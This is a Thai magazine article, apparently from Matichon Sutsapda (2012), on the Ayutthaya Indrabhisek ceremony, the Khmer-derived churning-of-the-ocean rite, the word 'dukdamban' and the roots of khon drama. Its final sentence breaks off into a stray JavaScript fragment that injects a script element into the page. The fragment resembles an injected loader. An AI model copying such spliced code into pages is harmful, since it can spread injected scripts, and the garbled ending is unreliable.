มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 26 ตุลาคม 2555

 

          กวนเกษียรสมุทร เป็นพิธีกรรมราชสำนักกัมพูชาตามคติฮินดูในศาสนาพราหมณ์ ต้นเค้ารากเหง้าคำว่า “ดึกดำบรรพ์”

          แล้วเป็นพลังสร้างสรรค์โขนละครและบทละครเรื่องรามเกียรติ์ ยุคอยุธยา สืบจนกรุงธนบุรีและกรุงรัตนโกสินทร์

 

อินทราภิเษก

          อินทราภิเษก คือพระราชพิธีเกี่ยวกับความเป็นพระจักรพรรดิราช โดยมีกวนเกษียรสมุทรตามคติฮินดูในศาสนาพราหมณ์ เพื่อสถาปนาพระอินทร์ให้กลับคืนอีกครั้งเป็นพระราชาแห่งทวยเทพเหนือจอมเขาพระสุเมรุ ถือเป็นสัญลักษณ์ของพิธีอภิเษกพระจักรพรรดิราชให้ปกครองโลก (เรื่องกฎหมายตราสามดวงกับความเชื่อของไทย โดย ศรีศักร วัลลิโภดม  ในหนังสือกฎหมายตราสามดวงกับสังคมไทย ของสำนักงานคณะกรรมการวัฒนธรรมแห่งชาติ พ.ศ. 2535 หน้า 91-113)

 

พระอินทร์ในศาสนาพุทธ

          บ้านเมืองและรัฐที่เน้นยกย่องพุทธศาสนา มักรับพิธีกรรมของศาสนาพราหมณ์ โดยมิให้กระทบหลักของศาสนาผี เข้ามาปรุงแต่งให้เป็นพระราชพิธีที่ยอยกพระเกียรติยศพระเจ้าแผ่นดิน

          โดยเฉพาะพิธีกรรมเกี่ยวข้องกับพระอินทร์ ซึ่งทางศาสนาพุทธยกย่องเป็นราชาแห่งเทพ หรือจักรพรรดิราชแห่งสรวงสวรรค์ชั้นฟ้า

          ทั้งนี้เพื่อแสดงการเป็นจักรพรรดิราชของพระเจ้าแผ่นดินที่พวกตนยกย่อง จึงเรียกอินทราภิเษก

 

วรรณกรรมอินทราภิเษก

          พระราชพิธีอินทราภิเษกเป็นงานใหญ่ของยุคอยุธยา ต้องมีต่อเนื่อง แล้วมีมหรสพนานราว 1 เดือน โดยกำหนดสิ่งสำคัญ คือ

          1. ตั้งเขาพระสุเมรุขนาดสูงสุดในกลางสนาม เป็นสัญลักษณ์ว่าเหนือขึ้นไปเป็นที่ประทับของพระอินทร์ พร้อมด้วยเขาสัตบริภัณฑ์ทั้งเจ็ดล้อมรอบ

          2. ตั้งเขาไกรลาส เป็นสัญลักษณ์ที่ประทับของพระอีศวร (พระศิวะ) ขนาดเตี้ยกว่าเขาพระสุเมรุ

3. ที่ตีนเขาพระสุเมรุ ทำรูปพระนารายณ์บรรทมสินธุ์

4. เล่นชักนาคดึกดำบรรพ์ คือกวนเกษียรสมุทร

          5.ตั้งรูปกุมภัณฑ์ ซึ่งเป็นเทวดาจำพวกหนึ่ง มีพุงใหญ่ ตาพองโตสีแดง มีหน้าที่รักษาสถานที่สำคัญต่างๆ ซึ่งท้าวจาตุมหาราชกำหนด เช่น ป่า, ภูเขา, ต้นไม้, แม่น้ำ, ฯลฯ หากผู้ใดล่วงล้ำให้จับผู้นั้นกินได้โดยไม่มีโทษ (วรรณคดีอภิธาน ของ ส. พลายน้อย สำนักพิมพ์พิมพ์คำ พ.ศ. 2549 หน้า 39-40)

           มีข้อความพรรณนาอยู่ในกฎมณเฑียรบาล (จัดย่อหน้าใหม่) ดังต่อไปนี้

          “การพระราชพิทธีอินทราภิเศก ตั้งพระสุเมร์สูงเส้น 5 วา ในกลางสนามนั้น  พระอินโทรนั่งบนพระสุเมรุ์ อิสินธรยุคุนธร สูงเส้นหนึ่ง กรวิกสูง 15 วา เขาไกรลาศสูง 10 วา

          ฉัตรทองชั้นใน ฉัตรนาคชั้นกลาง ฉัตรเงินชั้นนอก แลนอกนั้นราชวัตฉัตรเบญจรงใต้ฉัตรรูปเทพดายืน นอกฉัตรราช วัตรั้วไก่ ฉัตรกระดาดรูปยักษคนธรรภ รากษษยยืนตีนพระสุเมรุ์ รูปคชสีหราชสีหสิงโต กิเลนเยียงผา ช้างโคกระบือแลเสือหมีมีรูปเทพดานั่งทุกเขาไกรลาศ รูปพระอิศวรเปนเจ้าแลนางอุมาภควดี

          ยอดพระสุเมรุ์รูปพระอินทร รูปอสูรอยู่กลางพระสุเมรุ์ รูปพระนารายน์บันทมสินในตีนพระสุเมรุ์ นาค 7  ศีศะเกี้ยวพระสุเมรุ์นอกสนามอสูรยืนนอกกำแพงโรงรำระทาดอกไม้มหาดไทบำเรอห์ สนองพระโอษฐ

          ดำรวจเลกเปนรูปอสูร 100 มหาดเลกเปนเทพดา 100 เปนพาลีสุครีพมหาชมภูแลบริวารพานร 103 ชักนาคดึกดำบรร อสูรชักหัว เทพดาชักหาง พานรอยู่ปลายหางพระสุเมรุ์เหลี่ยมหนึ่งทอง เหลี่ยมหนึ่งนาค เหลี่ยมหนึ่งแก้ว เหลี่ยมหนึ่งเงีน เขายุคุนธรทอง อิสินธรนาค กรวิกเงีน ไกรลาศเงีน

          รอบสนามข้างนอกตั้งช้างม้าจัตุรงค พลนา 10000 ใส่ศิรเพศห่มเสื้อนุ่งแพรเคารพ นา 500 ใส่หมวกทองห่มเสื้อนุ่งแพรจำรวจ นา 3000 หมวกแพรเทศ ห่มเสื้อนุ่งแพรนา 2400 ลงมาถึงนา 1200 ถือดอกไม้เงีนดอกไม้ทองตามดำแหน่ง เข้าตอกดอกไม้ถวายบังคม พราหมณาจารยโยคี โภคีอาดาลตบศิวนั่งในราชวัตวันแรกการ อธิภาศในวัน 2 ราบ อันก่อวัน 3 สรางอันก่อวัน 4 จบสมิทวัน 5 ชักดึกดำบรรพวัน 6

          ตั้งน้ำสุรามฤตย 3 ตุ่ม ตั้งช้าง 3 ศิศม้าเผีอกอุศุภราชครุทธราชนางดาราหน้าฉาน ตั้งเครื่องสรรพยุทธเครื่องช้างแลเชือกบาศหอกไชยตั้งโตมรของ้าว ชุบน้ำสุรามฤตย

          เทพดาผู้ดึกดำบรรร้อยรูป พระอิศวร พระนารายน์ พระอินท พระพิศวกรรม์ ถือเครื่องสำรับตามทำเนียบเข้ามาถวายพระพรวันคำรพ 7 พราหมณาจารยถวายพระพรวันคำรพ 8 ท้าวพญาถวายพรวันคำรพ 9 ถวายช้างม้าจัตุรงควันคำรพ 10 ถวาย 12 พระคลังวัน 11 ถวายส่วยสัตพัทยากรวัน 12 ถวายเมือง 13 ถือน้ำสุรามฤตยวัน 14 ยกบำนานเทพดาวัน 15 ยกรางวันท้าวพญาวัน 16 ยกรางวันลูกขุนหมื่นวัน 17 พระราชทานแก่ พราหมณาจารยวัน 18 ซัดกรรมพฤกษวัน 19 วัน  20 วัน 21 สามวัน ปรายเงีนทอง สามวัน เล่นการมโหรสพเดือนหนึ่ง

          ตั้งรูปกุมภรรณท์ตรงฉานสูงเส้นหนึ่ง มหาดเลกเปนพานรลอดออกแต่ในหู ตา จหมูก ปาก

          ครั้นเสรจ์การ เสดจ์ด้วยพระราชรถให้ทานรอบเมือง จบการอินทราภิเศก”

 

โลกศาสตร์

          ถ้อยคำพรรณนาการพระราชพิธีอินทราภิเษก ที่มีในกฎมณเฑียรบาล เป็นโวหารวรรณกรรมลายลักษณ์อักษรฉบับเก่าแก่มากที่พรรณนาป่าหิมพานต์ ซึ่งมีเทือกเขาใหญ่ประกอบด้วยยอดต่างๆ ถึง 84,000 ยอด

          นับเป็นวรรณกรรมโลกศาสตร์ภาษาไทยเก่าแก่เรื่องหนึ่งในยุคต้นอยุธยา ที่เป็นเค้าให้ไตรภูมิ หมายถึงโลกียภูมิทั้ง 3 อันมีกามภูมิ, รูปภูมิ, อรูปภูมิ

          วรรณกรรมโลกศาสตร์เรื่องอื่นๆก่อนหน้านั้นแต่งเป็นภาษาบาลี มีประมาณ 9 คัมภีร์ (ไตรภูมิโลกวินิจฉยกถา สำนวนที่ 1 โดย ศ. ดร. นิยะดา เหล่าสุนทร สำนักพิมพ์ลายคำ พ.ศ. 2555 หน้า 127)

 

กวนเกษียรสมุทร กัมพูชา

          พระราชพิธีอินทราภิเษก ซึ่งมีกวนเกษียรสมุทรตามคติฮินดูในศาสนาพราหมณ์ เคยมีในราชสำนักอาณาจักรกัมพูชา สืบเนื่องแพร่หลายนานมาแล้วก่อนยุคอยุธยา

          มักพบบ่อยๆ เป็นภาพสลักหินกวนเกษียรสมุทรและนารายณ์บรรทมสินธุ์บนทับหลังเหนือกรอบประตูปราสาทหินในวัฒนธรรมขอม

          โดยเฉพาะที่ปราสาทนครวัด สลักภาพกวนเกษียรสมุทรขนาดมหึมาที่สุด เมื่อราว พ.ศ. 1650

 

ชักนาคดึกดำบรรพ์ อยุธยา

          ราชสำนักอยุธยา สืบเนื่องจากราชสำนักอโยธยา-ละโว้ ซึ่งเป็นเครือญาติใกล้ชิดกับราชสำนักกัมพูชาที่นครวัด เมืองพระนคร

          จึงรับแบบแผนกวนเกษียรสมุทรเข้ามา แล้วเรียกด้วยคำว่า ดึกดำบรรพ์

 

“ดึกดำบรรพ์” มาจากคำเขมร

          “ดึกดำบรรพ์”  มาจากคำเขมรว่า “ตึ๊กตะบัล” แปลว่า ตำน้ำ หรือกวนน้ำ (ตึ๊ก แปลว่า น้ำ, ตะบัล แปลว่า ตำ)

          หมายถึงกวนเกษียรสมุทร โดยใช้ลำตัวพญานาคเป็นเชือกชักกวน จึงเรียกอีกว่าชักนาคดึกดำบรรพ์

          คำดึกดำบรรพ์ในกฎมณเฑียรบาล นับเป็นลายลักษณ์อักษรไทยเก่าสุดเท่าที่เคยพบขณะนี้ แล้วใช้สืบมาในความหมายต่างๆ เช่น

          1. สมัย ร.1 หมายถึงที่ต้องกล่าวขานกันไปนาน ตัวอย่าง กลอนรามเกียรติ์ ฉบับ ร.1 ว่า “ครั้งนี้เป็นศึกดึกดำบรรพ์” (รัตนมาลา ของ ศ. ดร. นิยะดา เหล่าสุนทร สำนักพิมพ์ลายคำ พิมพ์ครั้งแรก 2553 หน้า 313)

          2. สมัย ร.5 เป็นชื่อโรงละครในวังบ้านหม้อ แล้วเป็นชื่อละครแบบหนึ่ง และวงปี่พาทย์แบบหนึ่งที่สร้างสรรค์ใหม่โดยสมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์

          3. ปัจจุบันหมายถึงเนิ่นนานมาแล้ว แต่ครั้งเก่าก่อน

 

โขน มาจากชักนาคดึกดำบรรพ์

          การละเล่นชักนาคดึกดำบรรพ์ หรือกวนเกษียรสมุทรในพระราชพิธีอินทราภิเษก นานเข้าก็มีพัฒนาการเป็นโขน ใส่หน้ากากเป็นรูปต่างๆ เช่น เทวดา, อสูร, วานร ดังมีในกฎมณเฑียรบาลว่า พาลี, สุครีพ, มหาชมภู

          แล้วมีละครรัดเครื่องโขนเล่นเรื่องรามเกียรติ์ ส่งผลให้มีบทพระราชนิพนธ์บทละครเรื่องรามเกียรติ์d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);